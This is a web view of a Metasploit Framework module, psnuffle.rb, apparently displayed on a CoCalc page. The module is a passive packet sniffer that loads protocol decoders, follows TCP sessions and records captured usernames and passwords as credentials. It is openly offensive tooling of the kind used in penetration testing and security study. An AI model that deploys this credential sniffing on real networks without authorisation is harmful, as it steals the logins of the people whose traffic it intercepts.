CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/sniffer/psnuffle.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# dsniff was helping me very often. Too bad that it doesn't work correctly
8
# anymore. Psnuffle should bring password sniffing into Metasploit local
9
# and if we get lucky even remote.
10
#
11
# Cheers - Max Moser - [email protected]
12
##
13
14
class MetasploitModule < Msf::Auxiliary
15
include Msf::Auxiliary::Report
16
include Msf::Exploit::Capture
17
18
def initialize
19
super(
20
'Name' => 'pSnuffle Packet Sniffer',
21
'Description' => 'This module sniffs passwords like dsniff did in the past',
22
'Author' => 'Max Moser <mmo[at]remote-exploit.org>',
23
'License' => MSF_LICENSE,
24
'Actions' =>
25
[
26
[ 'Sniffer', 'Description' => 'Run sniffer' ],
27
[ 'List', 'Description' => 'List protocols' ]
28
],
29
'PassiveActions' => [ 'Sniffer' ],
30
'DefaultAction' => 'Sniffer'
31
)
32
register_options [
33
OptString.new('PROTOCOLS', [true, 'A comma-delimited list of protocols to sniff or "all".', 'all']),
34
]
35
36
register_advanced_options [
37
OptPath.new('ProtocolBase', [true, 'The base directory containing the protocol decoders',
38
File.join(Msf::Config.data_directory, 'exploits', 'psnuffle')
39
]),
40
]
41
deregister_options('RHOSTS')
42
end
43
44
45
def load_protocols
46
base = datastore['ProtocolBase']
47
unless File.directory? base
48
raise RuntimeError, 'The ProtocolBase parameter is set to an invalid directory'
49
end
50
51
allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase}
52
@protos = {}
53
decoders = Dir.new(base).entries.grep(/\.rb$/).sort
54
decoders.each do |n|
55
f = File.join(base, n)
56
m = ::Module.new
57
begin
58
m.module_eval(File.read(f, File.size(f)))
59
m.constants.grep(/^Sniffer(.*)/) do
60
proto = $1
61
next unless allowed.include?(proto.downcase) || datastore['PROTOCOLS'] == 'all'
62
63
klass = m.const_get("Sniffer#{proto}")
64
@protos[proto.downcase] = klass.new(framework, self)
65
66
print_status("Loaded protocol #{proto} from #{f}...")
67
end
68
rescue => e
69
print_error("Decoder #{n} failed to load: #{e.class} #{e} #{e.backtrace}")
70
end
71
end
72
end
73
74
def run
75
check_pcaprub_loaded # Check first
76
# Load all of our existing protocols
77
load_protocols
78
79
if action.name == 'List'
80
print_status("Protocols: #{@protos.keys.sort.join(', ')}")
81
return
82
end
83
84
print_status 'Sniffing traffic.....'
85
open_pcap
86
87
each_packet do |pkt|
88
p = PacketFu::Packet.parse(pkt)
89
next unless p.is_tcp?
90
next if p.payload.empty?
91
@protos.each_key do |k|
92
@protos[k].parse(p)
93
end
94
true
95
end
96
close_pcap
97
print_status 'Finished sniffing'
98
end
99
end
100
101
# End module class
102
103
# Basic class for taking care of sessions
104
class BaseProtocolParser
105
106
attr_accessor :framework, :module, :sessions, :dport, :sigs
107
108
def initialize(framework, mod)
109
self.framework = framework
110
self.module = mod
111
self.sessions = {}
112
self.dport = 0
113
register_sigs
114
end
115
116
def parse(pkt)
117
nil
118
end
119
120
def register_sigs
121
self.sigs = {}
122
end
123
124
#
125
# Glue methods to bridge parsers to the main module class
126
#
127
def print_status(msg)
128
self.module.print_status(msg)
129
end
130
131
def print_error(msg)
132
self.module.print_error(msg)
133
end
134
135
def report_cred(opts)
136
service_data = {
137
address: opts[:ip],
138
port: opts[:port],
139
service_name: opts[:service_name],
140
protocol: 'tcp',
141
workspace_id: self.module.myworkspace_id
142
}
143
144
credential_data = {
145
origin_type: :service,
146
module_fullname: self.module.fullname,
147
username: opts[:user],
148
private_data: opts[:password],
149
private_type: opts[:type]
150
}.merge(service_data)
151
152
if opts[:type] == :nonreplayable_hash
153
credential_data.merge!(jtr_format: opts[:jtr_format])
154
end
155
156
login_data = {
157
core: self.module.create_credential(credential_data),
158
status: opts[:status],
159
proof: opts[:proof]
160
}.merge(service_data)
161
162
unless opts[:status] == Metasploit::Model::Login::Status::UNTRIED
163
login_data.merge!(last_attempted_at: DateTime.now)
164
end
165
166
self.module.create_credential_login(login_data)
167
end
168
169
def report_note(*s)
170
self.module.report_note(*s)
171
end
172
173
def report_service(*s)
174
self.module.report_service(*s)
175
end
176
177
def find_session(sessionid)
178
purge_keys = []
179
sessions.each_key do |ses|
180
# Check for cleanup abilities... kills performance in large environments maybe
181
# When longer than 5 minutes no packet was related to the session, delete it
182
if ((sessions[ses][:mtime] - sessions[ses][:ctime]) > 300)
183
# too bad to this session has no action for a long time
184
purge_keys << ses
185
end
186
end
187
purge_keys.each {|ses| sessions.delete(ses) }
188
189
# Does this session already exist?
190
if (sessions[sessionid])
191
# Refresh the timestamp
192
sessions[sessionid][:mtime] = Time.now
193
else
194
# Create a new session entry along with the host/port from the id
195
if (sessionid =~ /^([^:]+):([^-]+)-([^:]+):(\d+)$/s)
196
sessions[sessionid] = {
197
:client_host => $1,
198
:client_port => $2,
199
:host => $3,
200
:port => $4,
201
:session => sessionid,
202
:ctime => Time.now,
203
:mtime => Time.now
204
}
205
end
206
end
207
208
sessions[sessionid]
209
end
210
211
def get_session_src(pkt)
212
return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.tcp_dport,pkt.ip_saddr,pkt.tcp_sport] if pkt.is_tcp?
213
return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.udp_dport,pkt.ip_saddr,pkt.udp_sport] if pkt.is_udp?
214
return "%s:%d-%s:%d" % [pkt.ip_daddr,0,pkt.ip_saddr,0]
215
end
216
217
def get_session_dst(pkt)
218
return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.tcp_sport,pkt.ip_daddr,pkt.tcp_dport] if pkt.is_tcp?
219
return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.udp_sport,pkt.ip_daddr,pkt.udp_dport] if pkt.is_udp?
220
return "%s:%d-%s:%d" % [pkt.ip_saddr,0,pkt.ip_daddr,0]
221
end
222
end
223
224